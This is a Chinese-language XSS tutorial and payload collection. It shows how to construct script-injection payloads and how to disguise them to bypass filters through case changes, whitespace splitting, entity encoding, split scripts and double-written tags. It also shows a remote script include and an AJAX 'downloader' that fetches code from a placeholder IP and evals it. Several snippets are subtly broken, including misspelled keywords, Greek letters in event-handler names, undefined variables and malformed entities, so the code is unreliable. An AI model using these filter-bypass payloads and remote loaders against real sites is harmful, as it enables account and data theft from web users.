目录
XSS的构造方法
1.利用 <> 构造HTML/JS
可以利用 <> 构造 HTML 标签和 <script> 标签
在测试页面提交参数 <h1 style='color:red'>利用 <> 构造 HTML/JS </h1>
提交 <script> alert(/xss/) </script>
2.伪协议
可以使用 jacascript: 伪协议的方式构造 XSS
javascript:alert(/xss/)
提交参数 <a href=" javascript:alert(/xss/)"> touch me ! </a>,然后点击超链接,即可触发XSS
也可以使用 img 标签的伪协议,但是这种方法在IE6下测试成功
<img src=" javascript:alert(/xss/) ">
3.产生自己的事件
"事件驱动"是一种较为经典的编程思想。在页面中会发生很多事件(比如鼠标移动,价盘输入等),JS可以对这类事件进行相应。所有我们可以通过事件触发JS函数,触发XSS
事件种类 | 注释 |
Windows 事件 | 对 Windows 对象触发的事件 |
Form 事件 | HTML 表单内的动作触发的事件 |
Keyboard 事件 | 键盘按键 |
Mouse 事件 | 由鼠标或类似用户动作触发的事件 |
Media 事件 | 由多媒体触发的事件 |
例如:
<img src="./test.jpg" οnmοuseοver="alert(/xss/)"> | 这个标签会引入一张图片,鼠标悬停在图片上时会触发XSS |
<input type="text" οnkeydοwn="alert(/xss/)"> | 点击键盘任意按键触发XSS |
<input type="text" οnkeyup="alert(/xss/)"> | 长按任意键停止时触发 |
<input type="button" οnclick="alert(/xss/)"> | 点击按钮触发 |
<img src="x " οnerrοr="alert(/xss/)"> | 文件加载错误触发(x 表示任意错误文件) |
4.利用CSS跨站(old)
可以利用CSS(层叠样式脚本)触发XSS,但是此方法比较古老,基本不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS,以下代码在IE6下测试。
行内样式 | <div style="background-image: url(javascript:alert(/xss/))"></div> |
页内样式 | <style> Body{background-image: url(javascript:alert(/xss/))} </style> |
外部样式 | <link rel="stylesheet" type="text/css" href="./xss.css"><div>hello</div> |
expression | <div style="width: expression(alert(/xss/))"></div> <style> Body{background-image: expression(alert(/xss/));}</style> |
import | <style> @import "javascript:alert(/xss/)";</style> <style type="text/css"> @import url(xss.css);</style><div>AJEST</div> |
xss.css文件内容
h1{
color:red;
}
div{
/*width:expression(alert(/xss/))*/
background-image:url(javascript:alert(/xss/))
}
XSS常用标签
XSS的变形方法
我们可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测。变形方式主要有以下几种。
1.大小写转换
可以将payload进行大小写转换。例如:
<ImG SrC=' x ' οnerrοr="alert(/xss/)" />
2.引号的使用
HTML应用中对引号的使用不敏感,但是对某些过滤函数是“锱铢必较”
<img src=" x " οnerrοr=" alert(/xss/) " / >
<img src=' x ' οnerrοr=' alert(/xss/) ' / >
<img src=' x ' οnerrοr=alert(/xss/) / >
3.用 / 代替空格
<img/src=' x '/οnerrοr=' alert(/xss/) ' / >
4.回车及Tab
我们可以在一些位置添加 Tab(水平制表符) 和回车符,来绕过关键字检测,
<A hREf=" j
A v
a S
c R
i p
t :
alert(/xss/) " > Click me ! </a>
5.对标签属性进行转码
可以对标签属性值进行转码,用来绕过过滤。对象编码如下:
字母 | ASCII 码 | 十进制编码 | 十六进制编码 |
a | 97 | a | a |
e | 101 | e | &$x65; |
另外,可以将以下字符插入到任意位置
Tab | 	; |
换行 | 
; |
回车 | 
; |
可以将以下字符插入到头部位置
SOH | ; |
STX | ; |
例:<A hREf=" javas	c r ipt:alert(/xss/) "> Click me ! </a>
6.拆分跨站
<script> z='alert'</script>
<script> z=z+'(/xss/)'</script>
<script> eval(z) </script>
7.双写绕过
<script>
<scr<script>ipt>
8.CSS中的变形
使用全角字符
注释会被浏览器忽略
width:expr/*~*/ession(alert(/xss/))
样式表中的 \ 和 \0
<style> @import ' javasc\ri\0pt:alert(/xss/) ' ; </script>
Shellcode 的调用
shellcode 就是在利用漏洞所执行的代码
完整的XSS攻击,会将 shellcode 存放在一定的地方,然后触发漏洞,调用 Shellcode。
1.远程调用 JS
可以将JS代码单独放在一个JS文件中,然后通过http协议远程加载该脚本。如
常用方法: <script src=" http://xxx.xxx.xxx.xxx/XSS-TEST/xss.js "></script>
xss.js内容:alert(/xss/);
2.windows.location.hash
我们也可以使用JS中的 windows.location.hash 方法获取浏览器 URL 地址栏的 XSS 代码
windows.location.hash 会获取 URL 中 # 后的内容,例如:http://domain.com/index.php # AJEST ,windows.location.hash 的值就 #AJEST
所以我们可以构造如下代码 ?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/ This is windows.location.hash /),直接提交到测试的页面xss.php
3.XSS Downloader
XSS 下载器是将 XSS代码写到网页中,然后通过 AJAX 技术,获取网页中的XSS代码
在使用 XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php
xss_downloader.php
<?php
header(Access-Control-Allow-Origin:*);
header(' Access-Control-Allow-Headers"Origin,X-Requested-With,Content-Type,Accept ');
?>
# 实现跨域访问 AJAX 技术会验证同源策略
~~~~~~ BOF|alert(/xss/)|EOF ~~~~~~
常见的下载器
<script>
function XSS() {
if (window.XMLHttpRequest){
a = new XMLHttpRequest();
}
else if (windows.ActiveXObject){
a = new ActiveXObject(" Microsoft.XMLHTTP ");
}
else {
return;
}
a.open('get',' http://xxx.xxx.xxx.xxx/XSS_TEST/xss_downloader.php', false);
a.send();
eval(unescape(b.substitute(b.indexOf(' BOF|')+4,b.indexOf(' |EOF '))))
}
XSS();
</script>
4.备选存储技术
我们可以把 Shellcode 存储在客户端的本地域中,比如HTTP Cookie ,Flash共享对象,UserData,localStorage 等。
以 HTTP Cookie 为例
点击 Cookie-XSS 验证,产生如下效果
<meta charset="utf-8">
<?php
if (setcookie(" name " ," <script>alert(/xss/)</script> ")){
echo " <a href='./xss.php' target='_blank'>Cookie-XSS 验证</a>a>";
}
else{
echo "设置Cookie失败";
}
?>